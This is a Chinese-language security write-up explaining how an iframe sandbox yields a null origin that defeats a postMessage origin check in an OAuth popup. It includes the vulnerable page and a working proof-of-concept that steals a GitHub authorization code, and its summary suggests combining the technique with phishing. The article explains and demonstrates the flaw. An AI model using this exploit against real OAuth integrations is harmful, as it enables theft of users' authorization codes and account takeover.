0x00 前置知识
1.同源策略
来源 1 | 来源 2 | 交互结果 | 限制 |
---|---|---|---|
http://example.com | http://example.com | 同源,交互被允许 | 无限制 |
http://example.com | http://example.com:8080 | 不同端口,交互被阻止 | 同源策略阻止 |
http://example.com | https://example.com | 不同协议,交互被阻止 | 同源策略阻止 |
http://example.com | http://sub.example.com | 不同子域,交互被阻止 | 同源策略阻止 |
http://example.com | http://other.com | 不同域名,交互被阻止 | 同源策略阻止 |
http://example.com | https://example.com:8080 | 不同协议和端口,交互被阻止 | 同源策略阻止 |
2.postMessage()
window.postMessage() 是用于实现跨文档通信的 JavaScript 方法。它允许不同窗口或 iframe 之间的文档互相发送消息,即使这些文档来自不同的源(域名、协议和端口组合)也可以。由于该方法可以实现跨源传输,所以使用不当的情况下可能导致跨站脚本(XSS),服务端请求伪造(CSRF)等漏洞。
其方法原型如下:
postMessage(message, targetOrigin)
postMessage(message, targetOrigin, transfer)
通常会使用来进行同源限制,防止不安全的消息被处理。
if (source !== window.opener) return;
if (origin !== window.origin) return;
3.Sandbox
iframe 的 sandbox 属性是用于设置和启用沙盒(sandbox)模式的属性。沙盒模式是一种安全机制,允许你在网页中嵌套其他内容,但限制了被嵌套内容的行为,以防止恶意代码对主页面产生不良影响。这是一种安全措施,以增强网页的安全性。
标志 | 含义 |
---|---|
allow-same-origin | 允许嵌套内容与主页面具有相同的源(协议、域名、端口),这使它们可以共享相同的源并访问相同的 window 对象。 |
allow-top-navigation | 允许嵌套内容可以导航到顶级窗口(主页面)。 |
allow-forms | 允许嵌套内容提交表单。 |
allow-scripts | 允许嵌套内容执行脚本。 |
allow-popups | 允许嵌套内容创建弹出窗口(例如,使用 window.open())。 |
allow-pointer-lock | 允许使用鼠标指针锁定 API。 |
allow-orientation-lock | 允许使用屏幕方向锁定 API。 |
allow-modals | 允许显示模态对话框(例如,使用 alert() 或 confirm())。 |
allow-clipboard-write | 允许写入剪贴板。 |
allow-popups-to-escape-sandbox | 允许弹出窗口绕过沙盒。 |
allow-presentation | 允许使用 Presentation API。 |
allow-storage-access-by-user-activation | 允许用户通过激活来访问持久性存储。 |
0x01 漏洞代码
<!-- oauth-popup.html -->
<script>
const handlers = Object.assign(Object.create(null), {
getAuthCode(sender) {
sender.postMessage({
type: 'auth-code',
code: new URL(location).searchParams.get('code'),
}, '*');
},
startAuthFlow(sender, clientId) {
location.href = 'https://github.com/login/oauth/authorize'
+ '?client_id=' + encodeURIComponent(clientId)
+ '&redirect_uri=' + encodeURIComponent(location.href);
},
});
window.addEventListener('message', ({ source, origin, data }) => {
if (source !== window.opener) return;
if (origin !== window.origin) return;
handlers[data.cmd](source, ...data.args);
});
window.opener.postMessage({ type: 'popup-loaded' }, '*');
</script>
该代码中用 origin !== window.origin 来检查消息来源的域名与当前页面的域名是否相同,从而确保消息的来源合法。
然而,攻击者可以利用浏览器的特性,通过在iframe中使用 sandbox 属性,使iframe的 origin 值为 null。故而传入的消息origin为null。
其次,当sandbox的allow-popups标志被设定的时候,所有产生的弹窗都会集成sandbox的属性(除非allow-popups-to-escape-sandbox标志被设定),因此攻击者可以打开一个弹窗,该窗口的window.origin属性为null。
故而 origin === window.origin === null消息会绕过开发者所写的同源检测,达到攻击的目的。
0x02 攻击样例代码
该段代码是利用sandbox绕过同源策略以达到OAuth授权码窃取的目的。
<iframe sandbox="allow-scripts allow-popups allow-forms" src="data:text/html,
<body>
<script>
const victimClientId = '<client_id>';
const victimUrl = new URL('http://localhost:1337/oauth-popup.html');
const victimWindow = window.open(victimUrl.toString(), '_blank', 'popup=1,width=600,height=800');
let hasStarted = false;
window.onmessage = (event) => {
const { type } = event.data;
if (type === 'popup-loaded') {
if (hasStarted) {
// the popup loaded the second time, indicating a successful OAuth flow
victimWindow.postMessage({ cmd: 'getAuthCode', args: [] }, '*');
} else {
// the popup loaded for the first time, start the OAuth flow
hasStarted = true;
victimWindow.postMessage({ cmd: 'startAuthFlow', args: [victimClientId] }, '*');
}
} else if (type === 'auth-code') {
victimWindow.close();
document.body.textContent = 'Leaked GitHub OAuth code: ' + event.data.code;
}
};
<\/script>
</body>
"></iframe>
访问攻击代码。会打开授权页面。
点击授权会发现Github提示Cookies must be enabled to use Github,猜想是Github对该攻击进行了防护。
但是可以发现红框处代码已经运行了。
也就是发送的消息绕过了下述代码的同源检测。
if (source !== window.opener) return;
if (origin !== window.origin) return;
window.origin也如设想的一样为null。
0x03 总结
该漏洞可以搭配钓鱼使用,如伪造一个与正常页面相同的页面,在攻击者点开xx授权登录的时候,使用iframe设置sandbox属性将弹窗导向正常页面的,从而可以导致OAuth窃取码窃取的危害。并且根据正常页面Javascript的编写不同也会造成不同的漏洞危害,如XSS攻击,CSRF攻击等。
文章评论